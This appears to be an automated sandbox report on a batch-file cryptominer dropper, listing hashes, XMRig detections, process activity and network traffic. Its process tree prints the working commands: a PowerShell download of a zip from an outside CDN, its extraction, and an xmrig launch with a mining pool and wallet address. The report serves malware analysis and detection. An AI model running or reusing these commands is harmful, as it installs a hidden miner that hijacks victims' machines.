Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1799s -
max time network
1785s -
platform
windows10-2004_x64 -
resource
win10v2004-20231025-en -
resource tags
arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system -
submitted
11-11-2023 13:27
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231025-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10v2004-20231025-en
General
-
Target
tesy - Copy (13).bat
-
Size
706B
-
MD5
035f17438f6146d5ac7285b4adfeb370
-
SHA1
ef83c877367e96073e2b9b841d9c03ece6b1df7e
-
SHA256
02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
-
SHA512
49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf
Malware Config
Extracted
https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral4/files/0x0007000000022e28-46.dat family_xmrig behavioral4/files/0x0007000000022e28-46.dat xmrig behavioral4/memory/1108-48-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-50-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-53-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-54-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-57-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-58-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-59-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-60-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-61-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-62-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-63-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-64-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-65-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-66-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-67-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-68-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-69-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-70-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-71-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-72-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-73-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-74-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-75-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-76-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-77-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-78-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-79-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-80-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-81-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-82-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-83-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-84-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-85-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-86-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-87-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-88-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-89-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-90-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-91-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-92-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-93-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-94-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-95-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-96-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-97-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-98-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-99-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-100-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-101-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-102-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-103-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-104-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-105-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-106-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-107-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-108-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-109-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-110-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-111-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-112-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-113-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig behavioral4/memory/1108-114-0x00007FF738020000-0x00007FF738B23000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 12 4864 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1108 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4864 powershell.exe 4864 powershell.exe 2652 powershell.exe 2652 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4864 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe Token: SeLockMemoryPrivilege 1108 xmrig.exe Token: SeLockMemoryPrivilege 1108 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1108 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1048 wrote to memory of 4864 1048 cmd.exe 87 PID 1048 wrote to memory of 4864 1048 cmd.exe 87 PID 1048 wrote to memory of 2652 1048 cmd.exe 91 PID 1048 wrote to memory of 2652 1048 cmd.exe 91 PID 1048 wrote to memory of 3856 1048 cmd.exe 93 PID 1048 wrote to memory of 3856 1048 cmd.exe 93 PID 3856 wrote to memory of 1108 3856 cmd.exe 95 PID 3856 wrote to memory of 1108 3856 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4864
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b143⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1108
-
-
Network
-
Remote address:8.8.8.8:53Request59.128.231.4.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestcdn.nest.ripIN AResponsecdn.nest.ripIN A188.114.97.0cdn.nest.ripIN A188.114.96.0
-
Remote address:188.114.97.0:443RequestGET /uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip HTTP/1.1
Host: cdn.nest.rip
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 3331483
Connection: keep-alive
Content-Disposition: filename="test1.zip"
Content-Security-Policy: block-all-mixed-content
Etag: "95452958f42b1b93f0c887f59d84d19f"
Last-Modified: Mon, 23 Oct 2023 15:04:10 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Vary: Origin
X-Amz-Request-Id: 17933D7ECC5874A5
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
X-Amz-Meta-Originaluploader: 1805da94-c7b9-448d-b4b1-b34cd5b75d2b
Drive: SSD
CF-Cache-Status: HIT
Age: 6398
Accept-Ranges: bytes
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EpRyoG64ADFJMDKovPXh9yojKo590DaEXfHKVrzDbXMykzJ38pj1TPvgT5cJoG6ItDxxcrU2TD00%2Fevx37gQGfPnhIWWm6Xd5expweWWr1y6kPAYRrHkOGoOEjGoJF4%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8246e1529e9bb926-AMS
alt-svc: h3=":443"; ma=86400
-
Remote address:8.8.8.8:53Request9.228.82.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request0.97.114.188.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request198.1.85.104.in-addr.arpaIN PTRResponse198.1.85.104.in-addr.arpaIN PTRa104-85-1-198deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request43.58.199.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestpool.hashvault.proIN AResponsepool.hashvault.proIN A45.76.89.70pool.hashvault.proIN A95.179.241.203
-
Remote address:8.8.8.8:53Request203.241.179.95.in-addr.arpaIN PTRResponse203.241.179.95.in-addr.arpaIN PTR95179241203vultrusercontentcom
-
Remote address:8.8.8.8:53Request103.169.127.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request15.164.165.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request66.112.168.52.in-addr.arpaIN PTRResponse
-
188.114.97.0:443https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.ziptls, httppowershell.exe89.3kB 3.4MB 1575 2476
HTTP Request
GET https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zipHTTP Response
200 -
20.9kB 56.0kB 180 141
-
71 B 157 B 1 1
DNS Request
59.128.231.4.in-addr.arpa
-
58 B 90 B 1 1
DNS Request
cdn.nest.rip
DNS Response
188.114.97.0188.114.96.0
-
70 B 156 B 1 1
DNS Request
9.228.82.20.in-addr.arpa
-
71 B 133 B 1 1
DNS Request
0.97.114.188.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
198.1.85.104.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
43.58.199.20.in-addr.arpa
-
64 B 96 B 1 1
DNS Request
pool.hashvault.pro
DNS Response
45.76.89.7095.179.241.203
-
73 B 122 B 1 1
DNS Request
203.241.179.95.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
103.169.127.40.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
15.164.165.52.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
66.112.168.52.in-addr.arpa
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD595452958f42b1b93f0c887f59d84d19f
SHA1c861dc457d57471ab42879f49cc8fe171e7c9b1c
SHA256dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255
SHA51296207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072
-
Filesize
278B
MD5080123b6eac4a332d3f2b11f6eb3aa54
SHA18f3d40eae881e3b871cff2aa85521d727ada2a64
SHA256cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2
SHA5120c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa